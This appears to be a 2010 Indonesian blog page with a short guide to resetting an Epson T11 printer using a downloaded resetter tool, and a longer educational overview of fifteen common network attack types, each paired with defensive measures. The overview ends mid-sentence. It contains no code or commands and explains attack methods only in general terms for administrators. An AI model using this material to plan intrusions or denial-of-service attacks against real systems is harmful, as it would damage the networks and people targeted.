Selasa, 08 Juni 2010

Cara Reset Epson Stylus T10-T11


1. Langkah pertama tentunya printer harus sudah terinstall drivernya.

2. Download software resetter Epson T11 dulu. Software bernama Resetter Epson Stylus T11, anda dapat download disini

3. Tanggal komputer tidak perlu dirubah

4. Jalankan program resetter Epson T11 dengan double klik "Loader.exe", jangan langsung di "AdjProg.exe" karena program tidak akan berjalan kalau langsung dari "AdjProg.exe

5. Kemudian ikuti gambar berikut ini :

6. Setelah selesai matikan printer kemudian nyalakan lagi. Printer akan nyala dengan lampu berwarna hijau penuh. Berarti printer Epson Stylus T11 yang blink tadi sudah siap digunakan kembali.

Jumat, 04 Juni 2010

15 Jenis Serangan Cracker

Seringkali ketika kita menemukan kerawanan ataupun missconfiguration pada system sendiri, kita akan
menganggap hal itu adalah hal yang kecil, karena kita menanggapinya bukan sebagai lubang keamanan.
Tools maupun teknik yang digunakan cracker kebanyakan adalah variasi dari serangan yang mereka
lakukan sebelumnya. Sebagai Administrator baik system maupun jaringan ataupun end user, Anda
haruslah banyak belajar dari pengalaman penyerangan yang terjadi sebelumnya (walaupun serangan
tersebut terjadi pada orang lain) untuk menghindari serangan yang akan terjadi berikutnya.
Mengetahui jenis serangan sangat penting untuk menjaga stabilitas system, sehingga anda tidak perlu
repot untuk menginstall system baru agar lebih aman, anda hanya perlu mempatch atau bahkan sedikit
mengkonfigurasi system anda Mungkin bagi beberapa orang tulisan ini merupakan tulisan yang sangat
mendasar, tapi tidak ada salahnya jika anda sebagai seorang Profesional untuk mereview sesuatu yang
dasar dari waktu ke waktu.. Artikel ini bukan ditujukan untuk menyerang tetapi sebaliknya yaitu untuk
bertahan, karena menurut hemat saya untuk bertahan anda harus tahu cara menyerang. Dalam artikel ini
terdapat serangan yang sering dilakukan oleh cracker dan disetiap serangan mempunyai metode-metode
tersendiri, contohnya saja dalam melakukan IP spoofing yang mempunyai banyak metode diantaranya
man in the middle attack. Dengan alasan diatas saya akan mencoba menggaris besarkan seranganserangan
umum yang sering dilakukan cracker dan harus diketahui oleh seorang Administrator maupun
end user, sedangkan metode-metode yang lebih spesifik mungkin akan saya tuangkan dalam tulisan saya
berikutnya baik itu penyerangan ataupun metode yang dilakukan untuk bertahan. Saya tahu tulisan berikut
adalah jauh dari sempurna, untuk itu saran dan kritik sangat saya harapkan.
1. IP Spoofing
IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga
sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar
network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan
serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari
Networknya misal 192.xx.xx.xx yaitu IP type C. IP Spoofing terjadi ketika seorang attacker ‘mengakali’
packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk
routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah
untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker
tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker.
Protokol yang menangani komunikasi antar komputer kebanyakan berhasil di spoof. ICMP (Internet
Control Message Protocol) adalah salah satunya(vulnerable) karena protokol ini dilewati oleh informasi
dan pesan-pesan kesalahan diantara dua node dalam network. Internet Group Message Protocol(IGMP)
dapat dieksploitasi dengan menggunakan serangan tipe ini karena IGMP melaporkan kondisi kesalahan
pada level user datagram, selain itu juga protokol ini mengandung Informasi routing dan Informasi
Network. (UDP) User Datagram Protocol juga dapat ‘diminta’ untuk menampilkan identitas host sasaran.
Solusi untuk mencegah IP spoofing adalah dengan cara mengamankan packet-packet yang ditransmisikan
dan memasang screening policies. Enkripsi Point-to-point juga dapat mencegah user yang tidak
mempunyai hak untuk membaca data/packet. Autentikasi dapat juga digunakan untuk menyaring source
yang legal dan bukan source yang sudah di spoof oleh attacker. Dalam pencegahan yang lain,
Admininistrator dapat menggunakan signature untuk paket-paket yang berkomunikasi dalam networknya
sehingga meyakinkan bahwa paket tersebut tidak diubah dalam perjalanan.
Anti Spoofing rules(peraturan anti spoof) yang pada dasarnya memberitahukan server untuk menolak
packet yang datangnya dari luar yang terlihat datangnya dari dalam, umumnya hal ini akan mematahkan
setiap serangan spoofing.
2. FTP Attack
Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang
diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk
mendapatkan command shell ataupun untuk melakukan Denial Of Service.
Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil
resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang
attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa
membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang
diserang.
Tidak pernah atau jarang mengupdate versi server dan mempatchnya adalah kesalahan yang sering
dilakukan oleh seorang admin dan inilah yang membuat server FTP menjadi rawan untuk dimasuki.
Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di
upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow
Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce
attack(menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff
informasi yang berada dalam sistem
3. Unix Finger Exploits
Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi
diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan
peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang
sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk
melakukan informasi tentang footprinting, termasuk nama login dan informasi contact. Utility ini juga
menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada
dalam sistem dan seberapa jauh user merawat sistem.
Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha cracker dalam menembus sebuah
sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi
seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk
memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.
4. Flooding & Broadcasting
Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara
significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa
menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan
dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua
station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini
adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya
menyerah.
Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or
volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas
besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu
network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup
power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas
proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar
akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.
Attacker sering kali menggunakan serangan flooding ini untuk mendapatkan akses ke system yang
digunakan untuk menyerang network lainnya dalam satu serangan yang dinamakan Distributed Denial Of
Service(DDOS). Serangan ini seringkali dipanggil smurf jika dikirim melaluli ICMP dan disebut fraggles
ketika serangan ini dijalakan melewati UDP.
Suatu node (dijadikan tools) yang menguatkan broadcast traffic sering disebut sebagai Smurf Amplifiers,
tools ini sangat efektif untuk menjalankan serangan flooding. Dengan melakukan spoofing terhadap
network sasaran, seorang attacker dapat mengirim sebuah request ke smurf amplifier, Network yang di
amplifiying(dikuatkan) akan mengirim respon kesetiap host di dalam network itu sendiri, yang berarti
satu request yang dilakukan oleh attacker akan menghasilkan pekerjaan yang sama dan berulang-ulang
pada network sasaran, hasil dari serangan ini adalah sebuah denial of service yang tidak meninggalkan
jejak. Serangan ini dapat diantisipasi dengan cara menolak broadcast yang diarahkan pada router.
TCP-level Flooding (kebanyakan SYN ATTACK) telah digunakan pada bulan februari tahun 2000 untuk
menyerang Yahoo!, eBay dll yang menggunakan serangan DDOS(Distributed Denial Of Service).
Network yang tidak menggunakan firewall untuk pengecekan paket-paket TCP biasanya bisa diserang
dengan cara ini.
Beberapa fungsi penyaringan pada firewall (Firewall Filtering Function) biasanya akan mampu untuk
menahan satu serangan flooding dari sebuah alamat IP, tetapi serangan yang dilakukan melalui DDOS
akan sulit di cegah karena serangan ini seperti kita ketahui datangnya dari berbagai alamat IP secara
berkala. Sebenarnya salah satu cara untuk menghentikan serangan DDOS adalah dengan cara
mengembalikan paket ke alamat asalnya atau juga dengan cara mematikan network(biasanya dilakukan
oleh system yang sudah terkena serangan sangat parah).
5. Fragmented Packet Attacks
Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya
mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa
firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi
alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash.
Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk
menulis ulang informasi paket pertama dari suatu protokol.
Paket yang dipecah juga dapat mengakibatkan suasana seperti serangan flooding. Karena paket yang
dipecah akan tetap disimpan hingga akhirnya di bentuk kembali ke dalam data yang utuh, server akan
menyimpan paket yang dipecah tadi dalam memori kernel. Dan akhirnya server akan menjadi crash jika
terlalu banyak paket-paket yang telah dipecah dan disimpan dalam memory tanpa disatukan kembali.
Melalui cara enumerasi tentang topographi network sasaran, seorang attacker bisa mempunyai banyak
pilihan untuk meng- crash packet baik dengan cara menguji isi firewall, load balancers atau content –
based routers. Dengan tidak memakai system pertahanan ini, network sasaran jauh lebih rawan untuk
perusakan dan pembobolan.
Karena paket yang dipecah(fragmented packet) tidak dicatat dalam file log sebelum disatukan kembali
menjadi data yang utuh, packet yang dipecah ini memberikan jalan bagi hacker untuk masuk ke network
tanpa di deteksi. Telah banyak Intrusion Detection System (IDS) dan saringan firewall(firewall filters)
yang memperbaiki masalah ini, tapi masih banyak juga system yang masih dapat ditembus dengan cara
ini.
6. E-mail Exploits
Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command
manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode
(malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email
bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file
aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).
Serangan mail flood (flood =air bah) terjadi ketika banyak sekali e-mail yang dikirimkan oleh attacker
kepada sasaran yang mengakibatkan transfer agent kewalahan menanganinya, mengakibatkan komunikasi
antar program lain menjadi tidak stabil dan dapat membuat system menjadi crash. Melakukan flooding
merupakan cara yang sangat kasar namun efektif, maksudnya untuk membuat suatu mail server menjadi
down. Salah satu jalan yang menarik dalam melakukan serangan mail-flooding adalah dengan mengexploitasi
fungsi auto-responder (auto-responder function) yang terdapat dalam kebanyakan aplikasi
email, ketika seorang attacker menemukan auto-responder yang sedang aktif dalam dua system yang
berbeda, sang attacker bisa saja mengarahkan yang satu ke yang lainnya, karena kedua-duanya di set
untuk merespond secara sacara otomatis untuk setiap pesan, maka kedua-duanya akan terus mengenarate
lebih banyak e-mail secara loop(bolak-balik) dan akhirnya kedua-duanya akan kelelahan dan down.
Serangan memanipulasi perintah (command manipulation attack) dapat mengakibatkan sebuah system
menjadi crash dengan cara menggulingkan mail transfer agent dengan sebuah buffer overflow yang
diakibatkan oleh perintah (fungsi) yang cacat (contoh: EXPN atau VRFY). Perbedaan antara mail flood
dan command manipulation: command manipulation meng-exploit kekuasaan milik sendmail yaitu
memperbolehkan attacker untuk mengakses system tanpa informasi otorisasi(menjadi network admin
tanpa diketahui) dan membuat modifikasi pada penjalanan program lainnya. Mengaktifkan command
yang cacat seperti diatas juga dapat mengakibatkan seorang attacker mendapatlan akses untuk
memodifikasi file, menulis ulang, dan tentunya saja membuat trojan horses pada mail server.
Penyerangan tingkat transport (transport level attack) dilakukan dengan cara mengexploit protokol perute-
an/pemetaan e-mail diseluruh internet: Simple Mail Tranport Protocol (SMTP). Seorang attacker
dapat mengakibatkan kondisi kesalahan sementara (temporary error) di target system dengan cara mengoverload
lebih banyak data pada SMTP buffer sehingga SMTP buffer tidak bisa menanganinya, kejadian
ini dapat mengakibatkan seorang attacker terlempar dari sendmail program dan masuk kedalam shell
dengan kekuasaan adminitsrasi bahkan dapat mengambil alih root. Beberapa serangan exploitasi juga
sering terjadi pada POP dan IMAP.
Pada saat kerawanan SMTP sulit untuk di exploitasi, attacker mungkin saja berpindah ke serangan
tranport level jika ia tidak berhasil menyerang dengan cara command manipulation ataupun mail-flood.
Serangan ini lebih digunakan untuk membuat gangguan daripada untuk menjebol suatu system. Seorang
attacker biasanya akan menggunakan serangan jenis untuk mem flood Exchange Server dan memotong
lalu lintas e-mail (trafic e-mail). Serangan ini juga dapat digunakan untuk membuat reputasi suatu
organisasi menjadi buruk dengan mengirimkan spam atau offensive e-mail ke organisasi lainnya dengan
sumber dan alamat dari organisasi tersebut.
Mail relaying, proses memalsukan asal/source email dengan cara meroutekannya ke arah mesin yang akan
dibohongi, adalah type lain dari serangan transport-level. Teknik ini sangat berguna untuk membuat
broadcasting spam secara anonymous. Berbagai macam isi(content) yang sering dikirim lewat e-mail.
dengan teknik ini biasanya adalah content-content yang merusak. Beberapa Virus dan Worms akan
disertakan dalam e-mail sebagai file attachment yang sah, seperti variant Melissa yang nampak sebagai
Ms Word Macro atau loveletter worm yang menginfeksi system dan mengemailkan dirinya sendiri ke
users yang berada dalam address booknya outlook. Kebanyakan antivirus scanner akan menangkap
attachment seperti ini, tetapi visrus dan worm baru serta variannya masih tetap berbahaya.
Serangan yang terakhir yang dilakukan oleh seorang attacker selain serangan diatas adalah dengan cara
melakukan social enginering, kadang sang attacker mengirim e-mail dengan source memakai alamat
admin agar users mengirimkan passwordnya untuk mengupgrade system.
7. DNS and BIND Vulnerabilities
Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain
(BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis
yang diarahkan pada operasi dasar dari Internet (basic internet operation).
Kesalahan pada BIND sebenarnya bukanlah sesuatu yang baru. Semenjak permulaanya, standar BIND
merupakan target yang paling favorite untuk diserang oleh komunitas cracker karena beberapa
kerawanannya. Empat kerawanan terhadap buffer overflow yang terjadi pada bulan Januari lalu hanya
beberapa bagian dari kerawanan untuk diexploitasi oleh para cracker agar mendapat akses terhadap
system dan melakukan perintah dengan hak penuh (command execution priviledge).
Kerawanan pada BIND merupakan masalah yang sangat serius karena lebih dari 80 persen DNS yang
berada di Jagat Internet dibangun menggunakan BIND. Tanpa adanya DNS dalam lingkungan Internet
Modern, mungkin transmisi e-mail akan sulit, navigasi ke situs-situs web terasa rumit dan mungkin tidak
ada hal mudah lainnya yang menyangkut internet.
Kerawanan BIND bukan hanya terletak pada DNS. System penerjemah alamat (number-address
translator) merupakan subject dari kebanyakan exploit, termasuk untuk melakukan penyerangan di tingkat
informasi, penyerangan Denial Of Service, pengambil alihan kekuasaan dengan hijacking.
Penyerangan di tingkat Informasi bertujuan untuk membuat server menjawab sesuatu yang lain dari
jawaban yang benar. Salah satu cara untuk melakukan serangan jenis ini adalah melalui cache poisoning,
yang mana akan mengelabui remote name server agar menyimpan jawaban dari third-party domain
dengan cara menyediakan berbagai macam informasi kepada domain server yang mempunyai autorisasi.
Semua pengimplementasian serangan terhadap DNS akan mempunyai kemungkinan besar untuk berhasil
dilakukan jika jawaban dari suatu pertanyaan yang spesisfik bisa dibohongi (spoof).
DOS atau membuat Server tidak dapat beroperasi, bisa dilakukan dengan cara membuat DNS menyerang
dirinya sendiri atau juga dengan cara mengirimkan traffic-flooding yang berlebihan dari luar, contohnya
menggunakan “Smurf” ICMP flood. Jika suatu organisasi atau perusahaan memasang authoritathive
name server dalam satu segment yang terletak dibelakang satu link atau dibelakang satu physical area,
maka hal ini akan menyebabkan suatu kemungkinan untuk dilakukannya serangan Denial Of Service.
Cracker akan mencoba untuk menyerang system melalui DNS dengan cara buffer overflow, yaitu salah
satu exploit yang sangan berpotensi pada kerawanan BIND. Gangguan exploit terjadi karena adanya
kelemahan dalam pengkodean/pemrograman BIND yang mengizinkan seorang attacker untuk
memanfaatkan code-code yang dapat dieksekusi untuk masuk kedalam system. Beberapa system operasi
telah menyediakan patch untuk stack agar tidak dapat dieksekusi, sebagaimana juga yang dilakukan
compiler (menyediakan patch) yang melindungi stack dari overflow. Mekanisme perlindungan ini
stidaknya membuat cracker akan sulit menggunakan exploit.
Telah jelas bahwa mengupdate system secara berkala dan menggunakan patch adalah salah satu yang
harus dilakukan untuk membangun security yang efektif, jika vendor dari DNS anda tidak menyediakan
patch secara berkala, anda lebih baik mengganti software DNS anda yang menyediakan patch secara
berkala, tentunya untuk menjaga kemanan system.
Pada system Unix , BIND harus dijalankan sebagai root untuk mengatur port yang lebih rendah (kodekode
mesin). Jika software DNS dapat dibodohi untuk menjalankan code-code berbahaya, atau membuka
file-file milik root, user local mungkin saja bisa menaikan kekuasaannya sendiri didalam mesin.
Organisasi atau perusahaan yang mengubah authoritative server juga harus waspada bahwa mengganti
server mereka dalam waktu yang bersamaan akan mengakibatkan domain mereka di hijack melalui cache
poisoning. Mengubah server seharusnya dilakukan sebagai proses transisi. Untuk mencegah domain
hijacking sebaiknya network admin terlebih dahulu menambahkn server barunya kedalam network
infrastucture sebelum mengganti server yang lama.
8. Password Attacks
Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak
perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi
online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP.
Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin
saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka
sesuatu yang dilindungi oleh password. Ketika seorang attacker berhasil mendapatkan password yang
dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih
karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat
meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai
hal ini dengan cara teknikal. Kebnayakan seranagn yang dilakukan terhadap password adalah menebak
(guessing), brute force, cracking dan sniffing.
Penebakan(guessing) password bisa dilakukan dengan cara memasukan password satu persatu secara
manual ataupun dengan bantuin script yang telah diprogram. Kebanyakan user menggunakan hal-hal yang
umum untuk password mereka diantaranya tanggal lahir, dan biasanya user tidak menghawatirkan tentang
aturan yang berlaku pada perusahaan untuk menggunakan kombinasi alphanumeric dan minimal 7
karakter. Jika saja user memakai tanggal lahirnya sebagai password maka hal penyerangan akan sangat
mudah dilakukan, karena cracker tidak membutuhkan waktu yang lama hanya untuk menjebol 6 digit
angka tanggal lahir. Beberapa user atau bahkan administrator dapat membuat pekerjaan cracker menjadi
mudah andai saja mereka lupa untuk merubah password default dari sebuah software.
Sebenarnya, password guessing merupakan sesuatu yang sangat tidak efektif, dan dapat menghabiskan
waktu. Network admin bisa dengan mudah mendetect serangan jika seorang attacker mencoba login
dengan menebak password berkali-kali.
Brute-force merupakan serangan yang menggunakan logika yang sama dengan password guessing tetapi
serangan brute-force lebih cepat dan lebih powerfull. Dalam tipe serangan ini seorang attacker
menggunakan script (biasanya program cracking gratis) yang akan mencoba password-password
umum(biasanya terdapat dalam dictionary). Tujuan dari serangan jenis ini adalah untuk mempercepat
penemuan password sebelum network admin menyadari adanya serangan.
Walaupun serangan Brute-force lebih efisien daripada password guessing, kedua teknik tersebut pada
dasarnya sama. Attacker umumnya lebih sulit untuk berhasil dengan kedua metoda tersebut. Lebih jauh
lagi, kedua teknik tersebut sangat mudah di lawan dengan memanfaatkan features blacklisting, yang akan
mengunci sebuah account user jika seseorang(attacker) berkali-kali memasukkan password secara tidak
tepat. Contohnya, default blacklist dalam system unix adalah tiga kali (kesempatan memasukkan
password).
Kelemahan dari perlindungan blacklist adalah bahwa feature blacklist ini dapat igunkan untuk menyerang
system oleh attacker. Sebagai contoh, jika seorang attacker dapat mengidentifikasi siapa login name untuk
network admin, sang attacker bisa saja menngunakan login name itu dan memasukkan password yang
salah berulangkali dan akhirnya mengunci account admin ☺. Ketika sang admin sedang berusaha untuk
mendapatkan aksesnya kembali, seorang attacker masih bisa untuk berhubungan dengan system.
Password cracking adalah metoda untuk melawan perlindungan password yang dienkripsi yang berada di
dalam system. Dengan anggapan bahwa atacker telah masuk kedalam system, ia bisa saja mengubah
kekuasaannya didalam system dengan cara meng crack password file menggunakan metode brute-force dictionary attack (mencocokan kata-kata yang berada dalam kamus dengan kata-kata yang dienkripsi
dalam file password). Keberhasilan menggunakan cara ini bergantung pada kecepatan prosesor dan
program yang dimiliki oleh attacker. Cara yang terbaik untuk menghindari serangan jenis ini adalah
dengan memonitor kewenangan akses pada file.
Dengan cara mengintip lalulintas pada port telnet(23) ataupun HTTPD (80), seorang attacker dapat
mendapatkan password yang digunakan untuk internet dan koneksi secara remote melalui proses yang
dinamakan password snifing. Cara inilah yang paling mudah dilakukan karena kedua koneksi tersebut
tidak menggunakan enkripsi, kecuali koneksi yang menggunakan SSL (secure socket layer) pada
HTTPD(biasanya ada tanda gembok terkunci dibawah browser, yang menandakan transaksi aman) atau
juga menggunakan SSH (Secure SHell) untuk koneksi ke mesin lain secara remote.
9.Proxy Server Attacks
Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan
proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai
kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem
saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.
Jika firewal yang berada dalam trusted network tidak dikonfigurasikan secara optimal, khususnya untuk
memblok akses dari luar, apalagi jika autentikasi dan enkripsi tidak digunakan, seorang attacker bisa
menyerang proxy server dan mendapatkan akses yang sama dengan anggota trusted network lainnya. Jika
attaker sudah masuk ke sistem ia tentunya bisa melakukan apa saja dan ia bisa melakukan
DDOS(distributed denial of service) secara anoymous untuk menyerang network lain.
Router yang tidak dikonfigurasikan secara optimal juga akan berfungsi sebagai proxy server dan akan
mengakibatkan kerawanan yang sama dengan proxy server.
10. Remote Command Processing Attacks
Trusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource
sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota
network kekuasaan akses yang sama di satu dan lain system (dalam network).
Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan
pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi
perintah dan mengkases data yang tersedia bagi user lainnya.
11. Remote File System Attack
Protocol-protokol untuk tranportasi data –tulang punggung dari internet— adalah tingkat TCP (TCPLevel)
yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network
dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk
mendapatkan akses ke direktori file.
Tergantung pada OS (operating system) yang digunakan, attacker bisa meng extrack informasi tentang
network, sharing privileges, nama dan lokasi dari user dan groups, dan spesifikasi dari aplikasi atau
banner (nama dan versi software). System yang dikonfigurasi atau diamankan secara minimal akan
dengan mudah membeberkan informasi ini bahkan melalui firewall sekalipun. Pada system UNIX,
informasi ini dibawa oleh NFS (Network File System) di port 2049. system Windows menyediakan data
ini pada SMB (server messaging block) dan Netbios pada port 135 - 139(NT) dan port 445 pada win2k.
Network administrator bisa meminimalisasi resiko yang akan terjadi dengan menggunakan Protokolprotokol
tersebut dengan memberikan sedikit peraturan. Network dengan system windows, harusnya
memblok akses ke port 139 dan 445 dari luar network, jika dimungkinkan. Dalam system unix port 2049
seharusnya di blok, sharing file dibatasi dan permintaan file melalui showmount(perintah dalam unix)
seharusnya di catat dalam log.
12. Selective Program Insertions
Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program
penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ☺) pada
system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini
mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan
membuka backdoor.
Biasanya antivirus yang dijual dipasaran akan dapat mendeteksi dan membersihkan program-program
seperti ini, tetapi jika ada virus baru (anggap saja variant melissa) virus scanner belum tentu dapat
menghadapi script-script baru. Beberapa network administrator melakukan pertahan terhadap malware
dengan teknologi alternatif seperti behaviour blockers, yang memberhentikan kode-kode yang dicurigai
berdasarkan contoh kelakuan malware, bukan berdasarkan signature. Beberapa aplikasi lainnya akan
mengkarantina virus dan code-code yang dicurigai didalam daerah yang dilindungi, biasanya disebut
sandboxes.
13. Port Scanning
Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai
macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi.
Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk
publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
Interception
TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan
informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force,
serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.
TCP/IP Sequence Stealing adalah pemetaan dari urutan nomor-nomor (angka), yang bisa membuat packet
milik attacker terlihat legal. Ketika suatu system meminta sesi terhadap mesin lain, kedua system tersebut
saling bertukar nomor-nomor sinkronisasi TCP. Jika tidak dilakukan secara acak, Attacker bisa mengenali
algoritma yang digunakan untuk meng –generate nomor-nomor ini. Urutan nomor yang telah dicuri bisa
digunakan attacker untuk menyamar menjadi salah satu dari system tadi, dan akhirnya
memperbolehkannya untuk melewati firewall. Hal ini sebenarnya efektif jika digunakan bersama IP
Spoofing.
Melalui passive port listening, seorang attacker dapat memonitor dan mencatat (log) semua pesan dan file
yang dikirim ke semua port yang dapat diakses pada target system untuk menemukan titik kerawanan.
Packet Interception adalah bagian (tepatnya pelapis) dari active listener program yang berada pada port di
system sasaran yang berfungsi untuk menerima ataupun mengembalikan semua tipe pesan (data) spesifik
yang dikirim. Pesan tersebut bisa dikembalikan ke unauthorized system, dibaca dan akhir nya
dikembalikan lagi baik tanpa perubahan atau juga dengan perubahan kepada attacker, atau bahkan tidak
dikembalikan.
Dalam beberapa versi atau juga menurut konfigurasi dari user SSHD(secured shell daemon), otentikasi
bisa dilakukan dengan cara menggunakan public key (milik mesin tentunya). Jika seorang attacker
mempelajari public key yang digunakan, ia bisa menciptakan atau memasukan paket-paket palsu. System
sasaran akan menganggap pengirim paket palsu tersebut mempunyai hak akses.
15. HTTPD Attacks
Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd
bypasses, cross scripting, web code vulnerabilities, dan URL floods.
HTTPD Buffer Overflow bisa terjadi karena attacker menambahkan errors pada port yang digunakan
untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat
overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang attacker akan memasukkan
string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan attacker
akses ke command prompt.
Beberapa feature dari HTTPD bisa digunakan untuk meciptakan HTTPD byapass, memberi akses ke
server menggunakan fungsi logging. Dengan cara ini, sebuah halaman web bisa diakses dan diganti tanpa
dicatat oleh web server. Cara ini sering digunakan oleh para cracker, hacktivis dan cyber vandals untuk
mendeface website.
Sedangkan kerawanan pada script-script web bisa terjadi pada semua bahasa pemrograman web dan
semua ekstensi aplikasi. Termasuk VB, Visual C++, ASP, TCL, Perl, PHP, XML, CGI dan Coldfusion.
Pada dasarnya, attacker akan mengexploitasi kelemahan dari sebuah aplikasi, seperti CGI script yang
tidak memeriksa input atau kerawanan pada IIS RDS pada showcode.asp yang mengizinkan menjalankan
perintah secara remote (remote command priviledges).
Melalui cross scripting dan cross-site scripting seorang attacker bisa mengexploitasi pertukaran cookies
antara browser dan webserver. Fasilitas ini dapat mengaktifkan script untuk merubah tampilan web dll.
Script ini bisa menjalankan malware, membaca infomasi penting dan meng expose data sensitive seperti
nomor credit card dan password.
Pada akhirnya attacker dapat menjalankan denial of service dengan URL flood, yang dilakukan dengan
cara mengulang dan terus mengulang permintaan terhadap port 80 httpd yang melalui batas TTL (time to
live).
Beberapa user ataupun manager mungkin benci mendengar serangan-serangan tersebut. Tapi pada
kenyataanya memang tidak ada yang benar-benar fix untuk mengamankan network ataupun website.
Keamanan adalah suatu proses, bukan produk. Jika anda memasang firewall, IDSes(instrusion detection
system), routers dan honeypots (system untuk jebakan) mungkin dapat menyediakan lapisan-lapisan
untuk bertahan, tetapi sekali lagi peralatan paling canggih di dunia tidak akan menolong suatu organisasi
sampai organisasi tersebut mempunyai proses untuk mengupgrade system, memakai patch, mengecek
security pada system sendiri dan metode lain.
Telah banyak perusahaan yang memakai IDSes tetapi tidak memonitor file log, mereka menginstall
